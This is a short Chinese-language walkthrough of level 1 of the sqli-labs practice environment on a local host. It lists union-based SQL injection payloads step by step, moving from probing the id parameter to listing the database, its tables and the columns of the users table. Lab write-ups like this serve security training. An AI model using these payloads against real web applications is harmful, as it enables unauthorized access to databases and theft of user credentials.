自己搭建环境啊喂...http://127.0.0.1/sqli-labs-php7-master/
第一关
1.单引号判断是否存在注入点
/?id=1'
2.查询列数
?id=1' order by 3--+
?id=1' order by 4--+
由此可判断有3列
3.查询用户名和密码分别在哪列
?id=-1' union select 1,2,3 --+
4.查询数据库名称为security
?id=-1' union select 1,(select database()),3 --+
5.查看数据库中的表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
6.查看users表中的字段
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+